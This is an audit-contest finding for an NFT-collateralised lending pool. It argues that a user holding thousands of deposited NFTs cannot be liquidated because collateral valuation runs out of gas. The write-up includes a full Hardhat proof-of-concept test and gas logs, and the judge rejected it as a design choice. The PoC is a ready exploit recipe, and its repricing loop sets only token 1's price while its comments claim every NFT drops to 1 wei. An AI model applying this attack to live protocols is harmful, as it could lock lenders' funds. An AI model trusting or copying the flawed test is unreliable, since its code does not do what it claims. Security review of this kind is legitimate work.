Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Invalid

User with a large amount of NFTs will be able to reach a state where he cannot get liquidated

Summary

If an user owns a large amount of NFTs/houses and deposits all his NFTs in the LendingPool, calling LendingPool.initiateLiquidation will revert due to OOG, and the user will be able to maintain an undercollateralized position in the system.

Vulnerability Details

LendingPool.initiateLiquidation will call LendingPool.calculateHealthFactor which will call LendingPool.getUserCollateralValue.

LendingPool.getUserCollateralValue will iterate all the user NFTs. The issue is that if the user has a large amount of NFTs, the transaction will consume more gas than the block gas limit.

We can prove this by creating a POC where a user has 4000 NFTs, and when the value of each NFT drops to 1 wei, the user won't be able to get liquidated.

This POC can be pasted inside the "Liquidation" tests of test/unit/core/pools/LendingPool/LendingPool.test.js. It should work out of the box without the need of any additional setup when running: npx hardhat test --grep "POC: user with a lot of NFTs won't be able to get liquidated". But please note it may take ~60s to run.

it("POC: user with a lot of NFTs won't be able to get liquidated", async () => {
// Number of tokens to cause OOG.
const numTokens = 4000;
// Setting price for NFTs to 1e18. Will be used in ethers.parseEther.
const housePrice = "1";
// Set token id from 2 to 4000 to have value price of 1e18.
// Token id 1 is already minted on beforeEach of "LendingPool".
for (let i = 2; i <= numTokens; ++i) {
await raacHousePrices.setHousePrice(i, ethers.parseEther(housePrice));
}
// Mint the CRV to the user.
await crvusd.mint(user1.address, ethers.parseEther((numTokens * Number(housePrice)).toString()));
// Mint the NFTs to the user.
for (let i = 2; i <= numTokens; ++i) {
await token.connect(user1).approve(raacNFT.target, ethers.parseEther(housePrice));
await raacNFT.connect(user1).mint(i, ethers.parseEther(housePrice));
}
// Deposit the NFTs.
for (let i = 2; i <= numTokens; ++i) {
await raacNFT.connect(user1).approve(lendingPool.target, i);
await lendingPool.connect(user1).depositNFT(i);
}
// user1 will try to borrow 80% of the value for his deposited NFTs from token id 2 to 4000, which are worth (4000 - 1) * 1e18 = ~4000e18.
// For that to able to happen, user2 will deposit 4000e18 (numTokens * housePrice) of liquidity.
const newDepositedLiquidity = ethers.parseEther((numTokens * Number(housePrice)).toString());
await crvusd.connect(user2).approve(lendingPool.target, newDepositedLiquidity);
await lendingPool.connect(user2).deposit(newDepositedLiquidity);
// user1 borrows 80% of the collateral value of token id from 2 to 4000.
const amountToBorrow = ethers.parseEther(((numTokens - 1) * Number(housePrice) * 0.8).toString());
await lendingPool.connect(user1).borrow(amountToBorrow);
// Set price for all NFTs to 1 wei (to simulate liquidation).
// Note it's just `1` and not `ethers.parseEther("1").
for (let i = 1; i <= numTokens; ++i) {
await raacHousePrices.setHousePrice(1, 1);
}
// user2 tries to liquidate user1 now that the collateral of user1 doesn't have any value.
const tx = await lendingPool.connect(user2).initiateLiquidation(user1.address);
const receipt = await tx.wait();
// Will consume 23M and will not fit into one block on ethereum mainnet which has 21M block gas limit.
console.log("gas used =", receipt.gasUsed.toString());
// Increase timeout from default 40s to 5m (just in case).
// Should take ~60s.
}).timeout(300_000);

Logs:

gas used = 23549341

What is the POC doing?

Before going into our POC, it's important to underestand what the the existing tests setup are doing

Our POC:

  • We are setting the price of tokens ids from 2 to 4000 to have the value 1e18.

  • user1 mints these NFTs and deposits in the pool.

  • user2 deposits 4000e18 in the pool.

  • user1 borrows 80% of ~4000e18, (4000 - 1) * 1e18 * 0.8.

  • The price of all NFTs falls to 1 wei.

  • user1 won't be able to be liquidated, since calling initiateLiquidation will consume 23M gas, which would exceed the block gas limit in the ethereum mainnet which is 21M.

Impact

If an account can't get liquidated it means the protocol can own assets which are worth less than the debt hold by the user. Even if the houses/NFTs go to zero, the protocol would never recover the user debt since any liquidation attempt during price decay would fail.

Tools Used

Manual review.

Recommendations

Limit the maximum number of NFTs/houses a single account can own. For example limiting to 1000 NFTs would prevent OOG and still leave a buffer for safety.

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Design choice
Assigned finding tags:

LendingPool: Unbounded NFT array iteration in collateral valuation functions creates DoS risk, potentially blocking liquidations and critical operations

LightChaser L-36 and M-02 covers it.

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Design choice
Assigned finding tags:

LendingPool: Unbounded NFT array iteration in collateral valuation functions creates DoS risk, potentially blocking liquidations and critical operations

LightChaser L-36 and M-02 covers it.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.